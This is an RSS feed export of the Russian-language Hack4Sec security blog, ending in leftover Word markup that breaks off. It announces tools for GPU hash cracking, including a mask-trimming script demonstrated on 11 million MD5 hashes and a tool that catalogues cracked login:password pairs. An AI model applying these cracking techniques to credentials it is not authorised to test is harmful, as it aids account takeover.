<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-4691242794751648179</atom:id><lastBuildDate>Tue, 26 Aug 2025 17:42:21 +0000</lastBuildDate><category>hack4sec</category><category>веб-разведка</category><category>разработки</category><category>команда</category><category>перевод</category><category>burp suite</category><category>w3af</category><category>xss</category><category>Аналитический центр</category><category>видео</category><category>документация он-лайн</category><category>статья</category><title>Блог команды Hack4Sec</title><description></description><link>http://hack4sec.blogspot.com/</link><managingEditor>noreply@blogger.com (Команда Hack4Sec)</managingEditor><generator>Blogger</generator><openSearch:totalResults>18</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-824837998521825369</guid><pubDate>Sat, 02 Apr 2016 07:34:00 +0000</pubDate><atom:updated>2016-04-02T00:34:10.906-07:00</atom:updated><title>Новый блог</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Всем доброго времени суток. Сайт команды располагается по новому адресу:&lt;div&gt;
&lt;a href=&quot;http://hack4sec.pro/&quot;&gt;http://hack4sec.pro/&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
На сайте сделан форум и вики по проектам. Присоединяйтесь :)&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2016/04/blog-post.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-1375422180716682113</guid><pubDate>Thu, 14 Nov 2013 14:30:00 +0000</pubDate><atom:updated>2013-11-14T06:32:57.701-08:00</atom:updated><title>Masks Cuter - обрезаем брут-маски </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Рады поделиться с вами утилитой Masks Cuter, призванной 
ускорить процесс брута хешей и повысить его производительность на 
медленных алгоритмах или длинных масках.&lt;br /&gt;
Её смысл прост. В каждой маске есть символы которые встречаются на 
определённых позициях реже остальных, но времени на них тратится на 
ровне со всеми. Masks Cuter берёт маску которую вам нужно обрезать и на 
основе данного вами словаря исключает из каждой её позиции символы 
встречающиеся реже указанного % раз. За счёт этого время перебора 
значительно уменьшается (особенно если срезаются символы с первых 
позиций), а эффективность получившейся маски остаётся высокой.&lt;br /&gt;
&lt;br /&gt;
Сам скрипт можно взять тут: &lt;a href=&quot;https://sourceforge.net/projects/maskscuter/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/maskscuter/&lt;/a&gt;&lt;br /&gt;
Он написан на Python3 и отлично работает под MacOS/Linux/Windows. &lt;br /&gt;
Под катом вас ждёт практический пример.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;Для примера был взят список из 11 000 000 MD5 хешей с
 последнего распредбрута. Он был пройден по маске ?l?u?d?s,1,6 за 1ч 19м
 последней версией EGB 3 на машине со следующими характеристиками:&lt;br /&gt;
&lt;br /&gt;
CPU: AMD Phenom II X6 1090T (3.20 Ghz)&lt;br /&gt;
RAM: 16 GB&lt;br /&gt;
Video: GeForce GTX 570 (480 cores, 1280 MB, 1464 MHz)&lt;br /&gt;
OS: Windows 2008 Server&lt;br /&gt;
&lt;br /&gt;
Результат: 8492 пароля.&amp;nbsp; &lt;br /&gt;
Т.к. большого словаря реальных паролей у меня на данный момент нет,&amp;nbsp; за 
основу для резки был взят результат этого перебора. С помощью Masks 
Cuter из маски ?l?u?d?s,1,6 были исключены все символы встречающиеся на 
своих местах менее 1% раз (можно использовать и десятичные дроби с 
точкой в виде разделителя).&lt;br /&gt;
В итоге получилась маска ?1?2?3?4?5?6 с чарсетами: &lt;br /&gt;
&lt;br /&gt;
CustomCharacterSet1=0123456789abcdefghijklmnoprstvw&lt;br /&gt;
CustomCharacterSet2=0123456789abcdehiklmnoprstu&lt;br /&gt;
CustomCharacterSet3=0123456789abcdeghijklmnoprstuvwyz&lt;br /&gt;
CustomCharacterSet4=0123456789abcdeghiklmnoprstuy&lt;br /&gt;
CustomCharacterSet5=0123456789acdehiklmnorstuy&lt;br /&gt;
CustomCharacterSet6=0123456789adeghiklmnorsty&lt;br /&gt;
&lt;br /&gt;
Она была пройдена по тому же списку за 2м и дала результат в 5651 
найденный пароль. Прирост по времени составил 97,5%, потеря в паролях - 
33,6%&lt;br /&gt;
&lt;br /&gt;
Результат, на наш взгляд, отличный и подобным образом уже удалось 
сэкономить кучу времени на переборе больших списков хешей WP. Конечно 
для полноценного серьёзного брута такая методика не подходит т.к. ведёт к
 непременной потере в результатах, но зато помогает за короткое время 
исключить из списка целевых хешей достаточно большое их количество.&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2013/11/masks-cuter.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-7745155465984680561</guid><pubDate>Thu, 31 Oct 2013 04:36:00 +0000</pubDate><atom:updated>2013-10-30T21:36:00.595-07:00</atom:updated><title>Не большой, но важный SQL-патч для АЦ 1.1.0b</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Патч исправляет несколько индексов и длину поля хеша в таблицах пользователей&lt;br /&gt;
&lt;br /&gt;
ALTER TABLE `app_users` CHANGE `hash` `hash` VARCHAR( 500 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT &#39;&#39;;&lt;br /&gt;
ALTER TABLE `server_users` CHANGE `hash` `hash` VARCHAR( 500 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT &#39;&#39;;&lt;br /&gt;
ALTER TABLE `server_software_users` CHANGE `hash` `hash` VARCHAR( 500 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT &#39;&#39;;&lt;br /&gt;
&lt;br /&gt;
ALTER TABLE `app_users` DROP INDEX `project_id_2` ,&lt;br /&gt;
ADD UNIQUE `project_id_2` ( `project_id` , `app_id` , `login` , `group_id` ) ;&lt;br /&gt;
ALTER TABLE `server_users` DROP INDEX `project_id_2` ,&lt;br /&gt;
ADD UNIQUE `project_id_2` ( `project_id` , `server_id` , `login` , `group_id` );&lt;br /&gt;
ALTER TABLE `server_software_users` DROP INDEX `project_id_2` ,&lt;br /&gt;
ADD UNIQUE `project_id_2` ( `project_id` , `spo_id` , `login` , `group_id` );&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2013/10/sql-110b.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-3946548666003622239</guid><pubDate>Sun, 27 Oct 2013 10:59:00 +0000</pubDate><atom:updated>2013-10-27T03:59:38.935-07:00</atom:updated><title>Аналитический Центр: Выход версии 1.1.0b</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Cегодня мы рады 
сообщить о выходе версии 1.1.0b! В ней добавлен новый функционал, 
проведён серьёзный рефакторинг и исправлено большое количество ошибок.&lt;br /&gt;
Скачать архив с новой версией можно здесь: &lt;a href=&quot;https://sourceforge.net/projects/analyticalcenter/&quot;&gt;https://sourceforge.net/projects/analyticalcenter/&lt;/a&gt;, а под катом вас ждёт список внесённых изменений.&lt;br /&gt;
&lt;br /&gt;
P.S. Выражаем особую благодарность тестировщице Гуевой Наталие за ту гору багов которую она смогла обнаружить.&lt;br /&gt;
&lt;br /&gt;
&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&amp;nbsp;Нововведения:&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;В записи серверов, веб-приложений и серверного ПО добавлено поле алгоритма хеширования&lt;/li&gt;
&lt;li&gt;Пользователям всех видов добавлены поля salt, vip, email&lt;/li&gt;
&lt;li&gt;В ссылках &quot;Пользователи&quot; и &quot;Файлы&quot; при отсутствии таковых рядом в скобках пишется цифра &quot;0&quot;&lt;/li&gt;
&lt;li&gt;В описание серверов добавлено поле имени&lt;/li&gt;
&lt;li&gt;У записей веб-приложений, серверов и серверного ПО убран значок &quot;Нет записей об уязвимостях&quot;&lt;/li&gt;
&lt;li&gt;Zend Framework обновлён до версии 1.12.3&lt;/li&gt;
&lt;li&gt;Вместо Dojo используется jQuery + jQuery UI&lt;/li&gt;
&lt;li&gt;Тему оформления диалогов можно меня через конфигурационный файл (см. документацию)&lt;/li&gt;
&lt;li&gt;При импорте списка пользователей в качестве разделителя может быть использован символ табуляции (\t)&lt;/li&gt;
&lt;li&gt;При экспорте списка пользователей в качестве разделителя могут быть использованы символы табуляции (\t) и переноса стоки (\n)&lt;/li&gt;
&lt;li&gt;При запуске АЦ проверяет наличие прав на запись в необходимые директории (см. документацию)&lt;/li&gt;
&lt;li&gt;Добавлена страница загрузки найденных паролей (см. документацию)&lt;/li&gt;
&lt;li&gt;На страницах работы с пользователями добавлена форма загрузки списков вида &quot;логин:пароль&quot;&lt;/li&gt;
&lt;li&gt;При импорте/добавлении/сохранении пользователя с хешем(, солью) и 
паролем АЦ ищет совпадения (по алгоритму/хешу/соли) в других проектах и в
 случае отсутствия в них пароля прописывает его&lt;/li&gt;
&lt;li&gt;В формы импорта пользователей добавлена галочка &quot;Пометить как VIP&quot;&lt;/li&gt;
&lt;li&gt;В формы экспорта пользователей добавлена галочка &quot;Скачать только VIP`ов&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;Исправления:&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Исправлен баг с кодировкой из-за которого обрезанный русский текст отображался со знаком вопроса в конце&lt;/li&gt;
&lt;li&gt;Увеличена длина полей описания объектов (&quot;Дополнительно&quot;, &quot;Комментарий&quot; и т.д.)&lt;/li&gt;
&lt;li&gt;Формы загрузки файлов больше не отправляются если сам файл не выбран&lt;/li&gt;
&lt;li&gt;Страницы несуществующих объектов возвращают ответ с кодом 404&lt;/li&gt;
&lt;li&gt;Содержимое полей форм, не прошедших проверку на стороне сервера, не сбрасывается до первоначального&lt;/li&gt;
&lt;li&gt;Исправлена ошибка при которой не сохранялась отметка &quot;Использует перезапись URL&quot; у веб-приложений&lt;/li&gt;
&lt;li&gt;Исправлена ошибка из-за которой при переходе через верхнее меню на текущий проект пользователь получал ответ 404&lt;/li&gt;
&lt;li&gt;Исправлена ошибка из-за которой веб-приложение невозможно было отредактировать на странице его просмотра&lt;/li&gt;
&lt;li&gt;Исправлена ошибка из-за которой в один и тот же объект (ВП, сервер, 
СПО) можно было добавлять пользователей с одинаковыми именами&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/li&gt;
&lt;li&gt;Множество других, мелких ошибок.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2013/10/110b.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-4202344866684715638</guid><pubDate>Sat, 31 Aug 2013 11:48:00 +0000</pubDate><atom:updated>2013-08-31T04:48:49.177-07:00</atom:updated><title>Переезд на SourceForge</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Здравствуйте. Сегодня релизы Веб-Разведки и Аналитического центра были размещены на SourceForge. Отныне всё что связано с исходными кодами будет выкладываться там.&lt;br /&gt;
Новые страницы этих проектов:&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://sourceforge.net/projects/webreconnaissance/&quot;&gt;https://sourceforge.net/projects/webreconnaissance/&lt;/a&gt; &lt;br /&gt;
&lt;a href=&quot;https://sourceforge.net/projects/analyticalcenter/&quot; target=&quot;_blank&quot;&gt;https://sourceforge.net/projects/analyticalcenter/ &lt;/a&gt;&lt;/div&gt;
</description><link>http://hack4sec.blogspot.com/2013/08/sourceforge.html</link><author>noreply@blogger.com (Команда Hack4Sec)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4691242794751648179.post-5815806078914952919</guid><pubDate>Tue, 23 Jul 2013 12:48:00 +0000</pubDate><atom:updated>2013-07-23T05:48:07.852-07:00</atom:updated><title>EGBTestArea - скрипт для тестирования правил и конфигураций ExtreemeGPUBruteforcer</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;Здравствуйте. Сегодня вышел ещё один релиз от одного из наших участников - &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;EGBTestArea. Это скрипт для тестирования
правил и конфигураций ExtreemeGPUBruteforcer. Он покажет вам какие из ваших
правил/схем/масок более эффективные, а какие – менее, какие самые быстрые, а
какие медленнее остальных.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Скачать &lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US;&quot;&gt;ETA
&lt;/span&gt;можно здесь: &lt;a href=&quot;https://sourceforge.net/p/egbtestarea/&quot;&gt;&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;https://sourceforge.net/p/egbtestarea/&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;mso-no-proof: yes;&quot;&gt; . Архив не большой, весит всего 13кб. Внутри имеется
документация в &lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US; mso-no-proof: yes;&quot;&gt;HTML-&lt;/span&gt;&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;формате с
подробным описанием инструмента. Кроме того, в самом скрипте есть краткая
справка на английском (&lt;/span&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;mso-ansi-language: EN-US; mso-no-proof: yes;&quot;&gt;-h&lt;/span&gt;&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;). &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;mso-no-proof: yes;&quot;&gt;Автор будет рад
конструктивной критике, предложениям по развитию скрипта, да и вообще любым
отзывам.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;

&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;RU&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;JA&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
   &lt;w:UseFELayout/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;276&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
